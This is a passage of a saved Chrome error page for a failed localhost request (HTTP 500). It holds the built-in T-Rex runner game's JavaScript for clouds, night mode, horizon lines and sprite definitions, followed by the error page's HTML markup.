this.xPos = containerWidth;
this.yPos = 0;
this.remove = false;
this.gap =
getRandomNum(Cloud.config.MIN_CLOUD_GAP, Cloud.config.MAX_CLOUD_GAP);
this.init();
}
/**
* Cloud object config.
* @enum {number}
*/
Cloud.config = {
HEIGHT: 14,
MAX_CLOUD_GAP: 400,
MAX_SKY_LEVEL: 30,
MIN_CLOUD_GAP: 100,
MIN_SKY_LEVEL: 71,
WIDTH: 46,
};
Cloud.prototype = {
/**
* Initialise the cloud. Sets the Cloud height.
*/
init() {
this.yPos = getRandomNum(Cloud.config.MAX_SKY_LEVEL,
Cloud.config.MIN_SKY_LEVEL);
this.draw();
},
/**
* Draw the cloud.
*/
draw() {
this.canvasCtx.save();
let sourceWidth = Cloud.config.WIDTH;
let sourceHeight = Cloud.config.HEIGHT;
const outputWidth = sourceWidth;
const outputHeight = sourceHeight;
if (IS_HIDPI) {
sourceWidth = sourceWidth * 2;
sourceHeight = sourceHeight * 2;
}
this.canvasCtx.drawImage(Runner.imageSprite, this.spritePos.x,
this.spritePos.y,
sourceWidth, sourceHeight,
this.xPos, this.yPos,
outputWidth, outputHeight);
this.canvasCtx.restore();
},
/**
* Update the cloud position.
* @param {number} speed
*/
update(speed) {
if (!this.remove) {
this.xPos -= Math.ceil(speed);
this.draw();
// Mark as removeable if no longer in the canvas.
if (!this.isVisible()) {
this.remove = true;
}
}
},
/**
* Check if the cloud is visible on the stage.
* @return {boolean}
*/
isVisible() {
return this.xPos + Cloud.config.WIDTH > 0;
},
};
/**
* Background item.
* Similar to cloud, without random y position.
* @param {HTMLCanvasElement} canvas Canvas element.
* @param {Object} spritePos Position of image in sprite.
* @param {number} containerWidth
* @param {string} type Element type.
* @constructor
*/
function BackgroundEl(canvas, spritePos, containerWidth, type) {
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
this.spritePos = spritePos;
this.containerWidth = containerWidth;
this.xPos = containerWidth;
this.yPos = 0;
this.remove = false;
this.type = type;
this.gap =
getRandomNum(BackgroundEl.config.MIN_GAP, BackgroundEl.config.MAX_GAP);
this.animTimer = 0;
this.switchFrames = false;
this.spriteConfig = {};
this.init();
}
/**
* Background element object config.
* Real values assigned when game type changes.
* @enum {number}
*/
BackgroundEl.config = {
MAX_BG_ELS: 0,
MAX_GAP: 0,
MIN_GAP: 0,
POS: 0,
SPEED: 0,
Y_POS: 0,
MS_PER_FRAME: 0, // only needed when BACKGROUND_EL.FIXED is true
};
BackgroundEl.prototype = {
/**
* Initialise the element setting the y position.
*/
init() {
this.spriteConfig = Runner.spriteDefinition.BACKGROUND_EL[this.type];
if (this.spriteConfig.FIXED) {
this.xPos = this.spriteConfig.FIXED_X_POS;
}
this.yPos = BackgroundEl.config.Y_POS - this.spriteConfig.HEIGHT +
this.spriteConfig.OFFSET;
this.draw();
},
/**
* Draw the element.
*/
draw() {
this.canvasCtx.save();
let sourceWidth = this.spriteConfig.WIDTH;
let sourceHeight = this.spriteConfig.HEIGHT;
let sourceX = this.spriteConfig.X_POS;
const outputWidth = sourceWidth;
const outputHeight = sourceHeight;
if (IS_HIDPI) {
sourceWidth *= 2;
sourceHeight *= 2;
sourceX *= 2;
}
this.canvasCtx.drawImage(
Runner.imageSprite, sourceX, this.spritePos.y, sourceWidth,
sourceHeight, this.xPos, this.yPos, outputWidth, outputHeight);
this.canvasCtx.restore();
},
/**
* Update the background element position.
* @param {number} speed
*/
update(speed) {
if (!this.remove) {
if (this.spriteConfig.FIXED) {
this.animTimer += speed;
if (this.animTimer > BackgroundEl.config.MS_PER_FRAME) {
this.animTimer = 0;
this.switchFrames = !this.switchFrames;
}
if (this.spriteConfig.FIXED_Y_POS_1 &&
this.spriteConfig.FIXED_Y_POS_2) {
this.yPos = this.switchFrames ? this.spriteConfig.FIXED_Y_POS_1 :
this.spriteConfig.FIXED_Y_POS_2;
}
} else {
// Fixed speed, regardless of actual game speed.
this.xPos -= BackgroundEl.config.SPEED;
}
this.draw();
// Mark as removable if no longer in the canvas.
if (!this.isVisible()) {
this.remove = true;
}
}
},
/**
* Check if the element is visible on the stage.
* @return {boolean}
*/
isVisible() {
return this.xPos + this.spriteConfig.WIDTH > 0;
},
};
//******************************************************************************
/**
* Nightmode shows a moon and stars on the horizon.
* @param {HTMLCanvasElement} canvas
* @param {number} spritePos
* @param {number} containerWidth
* @constructor
*/
function NightMode(canvas, spritePos, containerWidth) {
this.spritePos = spritePos;
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
this.xPos = containerWidth - 50;
this.yPos = 30;
this.currentPhase = 0;
this.opacity = 0;
this.containerWidth = containerWidth;
this.stars = [];
this.drawStars = false;
this.placeStars();
}
/**
* @enum {number}
*/
NightMode.config = {
FADE_SPEED: 0.035,
HEIGHT: 40,
MOON_SPEED: 0.25,
NUM_STARS: 2,
STAR_SIZE: 9,
STAR_SPEED: 0.3,
STAR_MAX_Y: 70,
WIDTH: 20,
};
NightMode.phases = [140, 120, 100, 60, 40, 20, 0];
NightMode.prototype = {
/**
* Update moving moon, changing phases.
* @param {boolean} activated Whether night mode is activated.
*/
update(activated) {
// Moon phase.
if (activated && this.opacity === 0) {
this.currentPhase++;
if (this.currentPhase >= NightMode.phases.length) {
this.currentPhase = 0;
}
}
// Fade in / out.
if (activated && (this.opacity < 1 || this.opacity === 0)) {
this.opacity += NightMode.config.FADE_SPEED;
} else if (this.opacity > 0) {
this.opacity -= NightMode.config.FADE_SPEED;
}
// Set moon positioning.
if (this.opacity > 0) {
this.xPos = this.updateXPos(this.xPos, NightMode.config.MOON_SPEED);
// Update stars.
if (this.drawStars) {
for (let i = 0; i < NightMode.config.NUM_STARS; i++) {
this.stars[i].x =
this.updateXPos(this.stars[i].x, NightMode.config.STAR_SPEED);
}
}
this.draw();
} else {
this.opacity = 0;
this.placeStars();
}
this.drawStars = true;
},
updateXPos(currentPos, speed) {
if (currentPos < -NightMode.config.WIDTH) {
currentPos = this.containerWidth;
} else {
currentPos -= speed;
}
return currentPos;
},
draw() {
let moonSourceWidth = this.currentPhase === 3 ? NightMode.config.WIDTH * 2 :
NightMode.config.WIDTH;
let moonSourceHeight = NightMode.config.HEIGHT;
let moonSourceX = this.spritePos.x + NightMode.phases[this.currentPhase];
const moonOutputWidth = moonSourceWidth;
let starSize = NightMode.config.STAR_SIZE;
let starSourceX = Runner.spriteDefinitionByType.original.LDPI.STAR.x;
if (IS_HIDPI) {
moonSourceWidth *= 2;
moonSourceHeight *= 2;
moonSourceX = this.spritePos.x +
(NightMode.phases[this.currentPhase] * 2);
starSize *= 2;
starSourceX = Runner.spriteDefinitionByType.original.HDPI.STAR.x;
}
this.canvasCtx.save();
this.canvasCtx.globalAlpha = this.opacity;
// Stars.
if (this.drawStars) {
for (let i = 0; i < NightMode.config.NUM_STARS; i++) {
this.canvasCtx.drawImage(
Runner.origImageSprite, starSourceX, this.stars[i].sourceY,
starSize, starSize, Math.round(this.stars[i].x), this.stars[i].y,
NightMode.config.STAR_SIZE, NightMode.config.STAR_SIZE);
}
}
// Moon.
this.canvasCtx.drawImage(
Runner.origImageSprite, moonSourceX, this.spritePos.y, moonSourceWidth,
moonSourceHeight, Math.round(this.xPos), this.yPos, moonOutputWidth,
NightMode.config.HEIGHT);
this.canvasCtx.globalAlpha = 1;
this.canvasCtx.restore();
},
// Do star placement.
placeStars() {
const segmentSize = Math.round(this.containerWidth /
NightMode.config.NUM_STARS);
for (let i = 0; i < NightMode.config.NUM_STARS; i++) {
this.stars[i] = {};
this.stars[i].x = getRandomNum(segmentSize * i, segmentSize * (i + 1));
this.stars[i].y = getRandomNum(0, NightMode.config.STAR_MAX_Y);
if (IS_HIDPI) {
this.stars[i].sourceY =
Runner.spriteDefinitionByType.original.HDPI.STAR.y +
NightMode.config.STAR_SIZE * 2 * i;
} else {
this.stars[i].sourceY =
Runner.spriteDefinitionByType.original.LDPI.STAR.y +
NightMode.config.STAR_SIZE * i;
}
}
},
reset() {
this.currentPhase = 0;
this.opacity = 0;
this.update(false);
},
};
//******************************************************************************
/**
* Horizon Line.
* Consists of two connecting lines. Randomly assigns a flat / bumpy horizon.
* @param {HTMLCanvasElement} canvas
* @param {Object} lineConfig Configuration object.
* @constructor
*/
function HorizonLine(canvas, lineConfig) {
let sourceX = lineConfig.SOURCE_X;
let sourceY = lineConfig.SOURCE_Y;
if (IS_HIDPI) {
sourceX *= 2;
sourceY *= 2;
}
this.spritePos = {x: sourceX, y: sourceY};
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
this.sourceDimensions = {};
this.dimensions = lineConfig;
this.sourceXPos = [this.spritePos.x, this.spritePos.x +
this.dimensions.WIDTH];
this.xPos = [];
this.yPos = 0;
this.bumpThreshold = 0.5;
this.setSourceDimensions(lineConfig);
this.draw();
}
/**
* Horizon line dimensions.
* @enum {number}
*/
HorizonLine.dimensions = {
WIDTH: 600,
HEIGHT: 12,
YPOS: 127,
};
HorizonLine.prototype = {
/**
* Set the source dimensions of the horizon line.
*/
setSourceDimensions(newDimensions) {
for (const dimension in newDimensions) {
if (dimension !== 'SOURCE_X' && dimension !== 'SOURCE_Y') {
if (IS_HIDPI) {
if (dimension !== 'YPOS') {
this.sourceDimensions[dimension] = newDimensions[dimension] * 2;
}
} else {
this.sourceDimensions[dimension] = newDimensions[dimension];
}
this.dimensions[dimension] = newDimensions[dimension];
}
}
this.xPos = [0, newDimensions.WIDTH];
this.yPos = newDimensions.YPOS;
},
/**
* Return the crop x position of a type.
*/
getRandomType() {
return Math.random() > this.bumpThreshold ? this.dimensions.WIDTH : 0;
},
/**
* Draw the horizon line.
*/
draw() {
this.canvasCtx.drawImage(Runner.imageSprite, this.sourceXPos[0],
this.spritePos.y,
this.sourceDimensions.WIDTH, this.sourceDimensions.HEIGHT,
this.xPos[0], this.yPos,
this.dimensions.WIDTH, this.dimensions.HEIGHT);
this.canvasCtx.drawImage(Runner.imageSprite, this.sourceXPos[1],
this.spritePos.y,
this.sourceDimensions.WIDTH, this.sourceDimensions.HEIGHT,
this.xPos[1], this.yPos,
this.dimensions.WIDTH, this.dimensions.HEIGHT);
},
/**
* Update the x position of an indivdual piece of the line.
* @param {number} pos Line position.
* @param {number} increment
*/
updateXPos(pos, increment) {
const line1 = pos;
const line2 = pos === 0 ? 1 : 0;
this.xPos[line1] -= increment;
this.xPos[line2] = this.xPos[line1] + this.dimensions.WIDTH;
if (this.xPos[line1] <= -this.dimensions.WIDTH) {
this.xPos[line1] += this.dimensions.WIDTH * 2;
this.xPos[line2] = this.xPos[line1] - this.dimensions.WIDTH;
this.sourceXPos[line1] = this.getRandomType() + this.spritePos.x;
}
},
/**
* Update the horizon line.
* @param {number} deltaTime
* @param {number} speed
*/
update(deltaTime, speed) {
const increment = Math.floor(speed * (FPS / 1000) * deltaTime);
if (this.xPos[0] <= 0) {
this.updateXPos(0, increment);
} else {
this.updateXPos(1, increment);
}
this.draw();
},
/**
* Reset horizon to the starting position.
*/
reset() {
this.xPos[0] = 0;
this.xPos[1] = this.dimensions.WIDTH;
},
};
//******************************************************************************
/**
* Horizon background class.
* @param {HTMLCanvasElement} canvas
* @param {Object} spritePos Sprite positioning.
* @param {Object} dimensions Canvas dimensions.
* @param {number} gapCoefficient
* @constructor
*/
function Horizon(canvas, spritePos, dimensions, gapCoefficient) {
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
this.config = Horizon.config;
this.dimensions = dimensions;
this.gapCoefficient = gapCoefficient;
this.obstacles = [];
this.obstacleHistory = [];
this.horizonOffsets = [0, 0];
this.cloudFrequency = this.config.CLOUD_FREQUENCY;
this.spritePos = spritePos;
this.nightMode = null;
this.altGameModeActive = false;
// Cloud
this.clouds = [];
this.cloudSpeed = this.config.BG_CLOUD_SPEED;
// Background elements
this.backgroundEls = [];
this.lastEl = null;
this.backgroundSpeed = this.config.BG_CLOUD_SPEED;
// Horizon
this.horizonLine = null;
this.horizonLines = [];
this.init();
}
/**
* Horizon config.
* @enum {number}
*/
Horizon.config = {
BG_CLOUD_SPEED: 0.2,
BUMPY_THRESHOLD: .3,
CLOUD_FREQUENCY: .5,
HORIZON_HEIGHT: 16,
MAX_CLOUDS: 6,
};
Horizon.prototype = {
/**
* Initialise the horizon. Just add the line and a cloud. No obstacles.
*/
init() {
Obstacle.types = Runner.spriteDefinitionByType.original.OBSTACLES;
this.addCloud();
// Multiple Horizon lines
for (let i = 0; i < Runner.spriteDefinition.LINES.length; i++) {
this.horizonLines.push(
new HorizonLine(this.canvas, Runner.spriteDefinition.LINES[i]));
}
this.nightMode = new NightMode(this.canvas, this.spritePos.MOON,
this.dimensions.WIDTH);
},
/**
* Update obstacle definitions based on the speed of the game.
*/
adjustObstacleSpeed: function() {
for (let i = 0; i < Obstacle.types.length; i++) {
if (Runner.slowDown) {
Obstacle.types[i].multipleSpeed = Obstacle.types[i].multipleSpeed / 2;
Obstacle.types[i].minGap *= 1.5;
Obstacle.types[i].minSpeed = Obstacle.types[i].minSpeed / 2;
// Convert variable y position obstacles to fixed.
if (typeof (Obstacle.types[i].yPos) == 'object') {
Obstacle.types[i].yPos = Obstacle.types[i].yPos[0];
Obstacle.types[i].yPosMobile = Obstacle.types[i].yPos[0];
}
}
}
},
/**
* Update sprites to correspond to change in sprite sheet.
* @param {number} spritePos
*/
enableAltGameMode: function(spritePos) {
// Clear existing horizon objects.
this.clouds = [];
this.backgroundEls = [];
this.altGameModeActive = true;
this.spritePos = spritePos;
Obstacle.types = Runner.spriteDefinition.OBSTACLES;
this.adjustObstacleSpeed();
Obstacle.MAX_GAP_COEFFICIENT = Runner.spriteDefinition.MAX_GAP_COEFFICIENT;
Obstacle.MAX_OBSTACLE_LENGTH = Runner.spriteDefinition.MAX_OBSTACLE_LENGTH;
BackgroundEl.config = Runner.spriteDefinition.BACKGROUND_EL_CONFIG;
this.horizonLines = [];
for (let i = 0; i < Runner.spriteDefinition.LINES.length; i++) {
this.horizonLines.push(
new HorizonLine(this.canvas, Runner.spriteDefinition.LINES[i]));
}
this.reset();
},
/**
* @param {number} deltaTime
* @param {number} currentSpeed
* @param {boolean} updateObstacles Used as an override to prevent
* the obstacles from being updated / added. This happens in the
* ease in section.
* @param {boolean} showNightMode Night mode activated.
*/
update(deltaTime, currentSpeed, updateObstacles, showNightMode) {
this.runningTime += deltaTime;
if (this.altGameModeActive) {
this.updateBackgroundEls(deltaTime, currentSpeed);
}
for (let i = 0; i < this.horizonLines.length; i++) {
this.horizonLines[i].update(deltaTime, currentSpeed);
}
if (!this.altGameModeActive || Runner.spriteDefinition.HAS_CLOUDS) {
this.nightMode.update(showNightMode);
this.updateClouds(deltaTime, currentSpeed);
}
if (updateObstacles) {
this.updateObstacles(deltaTime, currentSpeed);
}
},
/**
* Update background element positions. Also handles creating new elements.
* @param {number} elSpeed
* @param {Array<Object>} bgElArray
* @param {number} maxBgEl
* @param {Function} bgElAddFunction
* @param {number} frequency
*/
updateBackgroundEl(elSpeed, bgElArray, maxBgEl, bgElAddFunction, frequency) {
const numElements = bgElArray.length;
if (numElements) {
for (let i = numElements - 1; i >= 0; i--) {
bgElArray[i].update(elSpeed);
}
const lastEl = bgElArray[numElements - 1];
// Check for adding a new element.
if (numElements < maxBgEl &&
(this.dimensions.WIDTH - lastEl.xPos) > lastEl.gap &&
frequency > Math.random()) {
bgElAddFunction();
}
} else {
bgElAddFunction();
}
},
/**
* Update the cloud positions.
* @param {number} deltaTime
* @param {number} speed
*/
updateClouds(deltaTime, speed) {
const elSpeed = this.cloudSpeed / 1000 * deltaTime * speed;
this.updateBackgroundEl(
elSpeed, this.clouds, this.config.MAX_CLOUDS, this.addCloud.bind(this),
this.cloudFrequency);
// Remove expired elements.
this.clouds = this.clouds.filter((obj) => !obj.remove);
},
/**
* Update the background element positions.
* @param {number} deltaTime
* @param {number} speed
*/
updateBackgroundEls(deltaTime, speed) {
this.updateBackgroundEl(
deltaTime, this.backgroundEls, BackgroundEl.config.MAX_BG_ELS,
this.addBackgroundEl.bind(this), this.cloudFrequency);
// Remove expired elements.
this.backgroundEls = this.backgroundEls.filter((obj) => !obj.remove);
},
/**
* Update the obstacle positions.
* @param {number} deltaTime
* @param {number} currentSpeed
*/
updateObstacles(deltaTime, currentSpeed) {
const updatedObstacles = this.obstacles.slice(0);
for (let i = 0; i < this.obstacles.length; i++) {
const obstacle = this.obstacles[i];
obstacle.update(deltaTime, currentSpeed);
// Clean up existing obstacles.
if (obstacle.remove) {
updatedObstacles.shift();
}
}
this.obstacles = updatedObstacles;
if (this.obstacles.length > 0) {
const lastObstacle = this.obstacles[this.obstacles.length - 1];
if (lastObstacle && !lastObstacle.followingObstacleCreated &&
lastObstacle.isVisible() &&
(lastObstacle.xPos + lastObstacle.width + lastObstacle.gap) <
this.dimensions.WIDTH) {
this.addNewObstacle(currentSpeed);
lastObstacle.followingObstacleCreated = true;
}
} else {
// Create new obstacles.
this.addNewObstacle(currentSpeed);
}
},
removeFirstObstacle() {
this.obstacles.shift();
},
/**
* Add a new obstacle.
* @param {number} currentSpeed
*/
addNewObstacle(currentSpeed) {
const obstacleCount =
Obstacle.types[Obstacle.types.length - 1].type != 'COLLECTABLE' ||
(Runner.isAltGameModeEnabled() && !this.altGameModeActive ||
this.altGameModeActive) ?
Obstacle.types.length - 1 :
Obstacle.types.length - 2;
const obstacleTypeIndex =
obstacleCount > 0 ? getRandomNum(0, obstacleCount) : 0;
const obstacleType = Obstacle.types[obstacleTypeIndex];
// Check for multiples of the same type of obstacle.
// Also check obstacle is available at current speed.
if ((obstacleCount > 0 && this.duplicateObstacleCheck(obstacleType.type)) ||
currentSpeed < obstacleType.minSpeed) {
this.addNewObstacle(currentSpeed);
} else {
const obstacleSpritePos = this.spritePos[obstacleType.type];
this.obstacles.push(new Obstacle(
this.canvasCtx, obstacleType, obstacleSpritePos, this.dimensions,
this.gapCoefficient, currentSpeed, obstacleType.width,
this.altGameModeActive));
this.obstacleHistory.unshift(obstacleType.type);
if (this.obstacleHistory.length > 1) {
this.obstacleHistory.splice(Runner.config.MAX_OBSTACLE_DUPLICATION);
}
}
},
/**
* Returns whether the previous two obstacles are the same as the next one.
* Maximum duplication is set in config value MAX_OBSTACLE_DUPLICATION.
* @return {boolean}
*/
duplicateObstacleCheck(nextObstacleType) {
let duplicateCount = 0;
for (let i = 0; i < this.obstacleHistory.length; i++) {
duplicateCount =
this.obstacleHistory[i] === nextObstacleType ? duplicateCount + 1 : 0;
}
return duplicateCount >= Runner.config.MAX_OBSTACLE_DUPLICATION;
},
/**
* Reset the horizon layer.
* Remove existing obstacles and reposition the horizon line.
*/
reset() {
this.obstacles = [];
for (let l = 0; l < this.horizonLines.length; l++) {
this.horizonLines[l].reset();
}
this.nightMode.reset();
},
/**
* Update the canvas width and scaling.
* @param {number} width Canvas width.
* @param {number} height Canvas height.
*/
resize(width, height) {
this.canvas.width = width;
this.canvas.height = height;
},
/**
* Add a new cloud to the horizon.
*/
addCloud() {
this.clouds.push(new Cloud(this.canvas, this.spritePos.CLOUD,
this.dimensions.WIDTH));
},
/**
* Add a random background element to the horizon.
*/
addBackgroundEl() {
const backgroundElTypes =
Object.keys(Runner.spriteDefinition.BACKGROUND_EL);
if (backgroundElTypes.length > 0) {
let index = getRandomNum(0, backgroundElTypes.length - 1);
let type = backgroundElTypes[index];
// Add variation if available.
while (type == this.lastEl && backgroundElTypes.length > 1) {
index = getRandomNum(0, backgroundElTypes.length - 1);
type = backgroundElTypes[index];
}
this.lastEl = type;
this.backgroundEls.push(new BackgroundEl(
this.canvas, this.spritePos.BACKGROUND_EL, this.dimensions.WIDTH,
type));
}
},
};
</script>
<script>// Copyright 2021 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
/* @const
* Add matching sprite definition and config to Runner.spriteDefinitionByType.
*/
const GAME_TYPE = [];
/**
* Obstacle definitions.
* minGap: minimum pixel space between obstacles.
* multipleSpeed: Speed at which multiples are allowed.
* speedOffset: speed faster / slower than the horizon.
* minSpeed: Minimum speed which the obstacle can make an appearance.
*
* @typedef {{
* type: string,
* width: number,
* height: number,
* yPos: number,
* multipleSpeed: number,
* minGap: number,
* minSpeed: number,
* collisionBoxes: Array<CollisionBox>,
* }}
*/
let ObstacleType;
/**
* T-Rex runner sprite definitions.
*/
Runner.spriteDefinitionByType = {
original: {
LDPI: {
BACKGROUND_EL: {x: 86, y: 2},
CACTUS_LARGE: {x: 332, y: 2},
CACTUS_SMALL: {x: 228, y: 2},
OBSTACLE_2: {x: 332, y: 2},
OBSTACLE: {x: 228, y: 2},
CLOUD: {x: 86, y: 2},
HORIZON: {x: 2, y: 54},
MOON: {x: 484, y: 2},
PTERODACTYL: {x: 134, y: 2},
RESTART: {x: 2, y: 68},
TEXT_SPRITE: {x: 655, y: 2},
TREX: {x: 848, y: 2},
STAR: {x: 645, y: 2},
COLLECTABLE: {x: 2, y: 2},
ALT_GAME_END: {x: 121, y: 2},
},
HDPI: {
BACKGROUND_EL: {x: 166, y: 2},
CACTUS_LARGE: {x: 652, y: 2},
CACTUS_SMALL: {x: 446, y: 2},
OBSTACLE_2: {x: 652, y: 2},
OBSTACLE: {x: 446, y: 2},
CLOUD: {x: 166, y: 2},
HORIZON: {x: 2, y: 104},
MOON: {x: 954, y: 2},
PTERODACTYL: {x: 260, y: 2},
RESTART: {x: 2, y: 130},
TEXT_SPRITE: {x: 1294, y: 2},
TREX: {x: 1678, y: 2},
STAR: {x: 1276, y: 2},
COLLECTABLE: {x: 4, y: 4},
ALT_GAME_END: {x: 242, y: 4},
},
MAX_GAP_COEFFICIENT: 1.5,
MAX_OBSTACLE_LENGTH: 3,
HAS_CLOUDS: 1,
BOTTOM_PAD: 10,
TREX: {
WAITING_1: {x: 44, w: 44, h: 47, xOffset: 0},
WAITING_2: {x: 0, w: 44, h: 47, xOffset: 0},
RUNNING_1: {x: 88, w: 44, h: 47, xOffset: 0},
RUNNING_2: {x: 132, w: 44, h: 47, xOffset: 0},
JUMPING: {x: 0, w: 44, h: 47, xOffset: 0},
CRASHED: {x: 220, w: 44, h: 47, xOffset: 0},
COLLISION_BOXES: [
new CollisionBox(22, 0, 17, 16),
new CollisionBox(1, 18, 30, 9),
new CollisionBox(10, 35, 14, 8),
new CollisionBox(1, 24, 29, 5),
new CollisionBox(5, 30, 21, 4),
new CollisionBox(9, 34, 15, 4),
],
},
/** @type {Array<ObstacleType>} */
OBSTACLES: [
{
type: 'CACTUS_SMALL',
width: 17,
height: 35,
yPos: 105,
multipleSpeed: 4,
minGap: 120,
minSpeed: 0,
collisionBoxes: [
new CollisionBox(0, 7, 5, 27),
new CollisionBox(4, 0, 6, 34),
new CollisionBox(10, 4, 7, 14),
],
},
{
type: 'CACTUS_LARGE',
width: 25,
height: 50,
yPos: 90,
multipleSpeed: 7,
minGap: 120,
minSpeed: 0,
collisionBoxes: [
new CollisionBox(0, 12, 7, 38),
new CollisionBox(8, 0, 7, 49),
new CollisionBox(13, 10, 10, 38),
],
},
{
type: 'PTERODACTYL',
width: 46,
height: 40,
yPos: [100, 75, 50], // Variable height.
yPosMobile: [100, 50], // Variable height mobile.
multipleSpeed: 999,
minSpeed: 8.5,
minGap: 150,
collisionBoxes: [
new CollisionBox(15, 15, 16, 5),
new CollisionBox(18, 21, 24, 6),
new CollisionBox(2, 14, 4, 3),
new CollisionBox(6, 10, 4, 7),
new CollisionBox(10, 8, 6, 9),
],
numFrames: 2,
frameRate: 1000 / 6,
speedOffset: .8,
},
],
BACKGROUND_EL: {
'CLOUD': {
HEIGHT: 14,
MAX_CLOUD_GAP: 400,
MAX_SKY_LEVEL: 30,
MIN_CLOUD_GAP: 100,
MIN_SKY_LEVEL: 71,
OFFSET: 4,
WIDTH: 46,
X_POS: 1,
Y_POS: 120,
},
},
BACKGROUND_EL_CONFIG: {
MAX_BG_ELS: 1,
MAX_GAP: 400,
MIN_GAP: 100,
POS: 0,
SPEED: 0.5,
Y_POS: 125,
},
LINES: [
{SOURCE_X: 2, SOURCE_Y: 52, WIDTH: 600, HEIGHT: 12, YPOS: 127},
],
},
};
</script>
</head>
<body id="t" class="neterror" style="font-family: "sans", Arial, sans-serif; font-size: 75%" jstcache="0">
<div id="main-frame-error" class="interstitial-wrapper" jstcache="0">
<div id="main-content" jstcache="0">
<div class="icon icon-generic" jstcache="0"></div>
<div id="main-message" jstcache="0">
<h1 jstcache="0">
<span jsselect="heading" jsvalues=".innerHTML:msg" jstcache="9">This page isn’t working</span>
<a id="error-information-button" class="hidden" onclick="toggleErrorInformationPopup();" jstcache="0"></a>
</h1>
<p jsselect="summary" jsvalues=".innerHTML:msg" jstcache="1"><strong jscontent="hostName" jstcache="22">localhost</strong> is currently unable to handle this request.</p>
<!--The suggestion list and error code are normally presented inline,
in which case error-information-popup-* divs have no effect. When
error-information-popup-container has the use-popup-container class, this
information is provided in a popup instead.-->
<div id="error-information-popup-container" jstcache="0">
<div id="error-information-popup" jstcache="0">
<div id="error-information-popup-box" jstcache="0">
<div id="error-information-popup-content" jstcache="0">
<div id="suggestions-list" style="display:none" jsdisplay="(suggestionsSummaryList && suggestionsSummaryList.length)" jstcache="16">
<p jsvalues=".innerHTML:suggestionsSummaryListHeader" jstcache="18"></p>
<ul jsvalues=".className:suggestionsSummaryList.length == 1 ? 'single-suggestion' : ''" jstcache="19">
<li jsselect="suggestionsSummaryList" jsvalues=".innerHTML:summary" jstcache="21"></li>
</ul>
</div>
<div class="error-code" jscontent="errorCode" jstcache="17">HTTP ERROR 500</div>
<p id="error-information-popup-close" jstcache="0">
<a class="link-button" jscontent="closeDescriptionPopup" onclick="toggleErrorInformationPopup();" jstcache="20">null</a>
</p>
</div>
</div>
</div>
</div>
<div id="download-links-wrapper" class="hidden" jstcache="0">
<div id="download-link-wrapper" jstcache="0">
<a id="download-link" class="link-button" onclick="downloadButtonClick()" jsselect="downloadButton" jscontent="msg" jsvalues=".disabledText:disabledMsg" jstcache="6" style="display: none;">
</a>
</div>
<div id="download-link-clicked-wrapper" class="hidden" jstcache="0">
<div id="download-link-clicked" class="link-button" jsselect="downloadButton" jscontent="disabledMsg" jstcache="11" style="display: none;">
</div>
</div>
</div>
<div id="save-page-for-later-button" class="hidden" jstcache="0">
<a class="link-button" onclick="savePageLaterClick()" jsselect="savePageLater" jscontent="savePageMsg" jstcache="10" style="display: none;">
</a>
</div>
<div id="cancel-save-page-button" class="hidden" onclick="cancelSavePageClick()" jsselect="savePageLater" jsvalues=".innerHTML:cancelMsg" jstcache="4" style="display: none;">
</div>
<div id="offline-content-list" class="list-hidden" hidden="" jstcache="0">
<div id="offline-content-list-visibility-card" onclick="toggleOfflineContentListVisibility(true)" jstcache="0">
<div id="offline-content-list-title" jsselect="offlineContentList" jscontent="title" jstcache="12" style="display: none;">
</div>
<div jstcache="0">
<div id="offline-content-list-show-text" jsselect="offlineContentList" jscontent="showText" jstcache="14" style="display: none;">
</div>
<div id="offline-content-list-hide-text" jsselect="offlineContentList" jscontent="hideText" jstcache="15" style="display: none;">
</div>
</div>
</div>
<div id="offline-content-suggestions" jstcache="0"></div>
<div id="offline-content-list-action" jstcache="0">
<a class="link-button" onclick="launchDownloadsPage()" jsselect="offlineContentList" jscontent="actionText" jstcache="13" style="display: none;">
</a>
</div>
</div>
</div>
</div>
<div id="buttons" class="nav-wrapper suggested-right" jstcache="0">
<div id="control-buttons" jstcache="0">
<button id="reload-button" class="blue-button text-button" onclick="reloadButtonClick(this.url);" jsselect="reloadButton" jsvalues=".url:reloadUrl" jscontent="msg" jstcache="5">Reload</button>
<button id="download-button" class="blue-button text-button" onclick="downloadButtonClick()" jsselect="downloadButton" jscontent="msg" jsvalues=".disabledText:disabledMsg" jstcache="6" style="display: none;">
</button>
</div>
<button id="details-button" class="secondary-button text-button small-link" onclick="detailsButtonClick(); toggleHelpBox()" jscontent="details" jsdisplay="(suggestionsDetails && suggestionsDetails.length > 0) || diagnose" jsvalues=".detailsText:details; .hideDetailsText:hideDetails;" jstcache="2" style="display: none;"></button>
</div>
<div id="details" class="hidden" jstcache="0">
<div class="suggestions" jsselect="suggestionsDetails" jstcache="3" jsinstance="*0" style="display: none;">
<div class="suggestion-header" jsvalues=".innerHTML:header" jstcache="7"></div>
<div class="suggestion-body" jsvalues=".innerHTML:body" jstcache="8"></div>
</div>
</div>
</div>
<div id="sub-frame-error" jstcache="0">
<!-- Show details when hovering over the icon, in case the details are
hidden because they're too large. -->
<div class="icon" jstcache="0"></div>
<div id="sub-frame-error-details" jsselect="summary" jsvalues=".innerHTML:msg" jstcache="1"><strong jscontent="hostName" jstcache="22">localhost</strong> is currently unable to handle this request.</div>
</div>
<div id="offline-resources" jstcache="0">
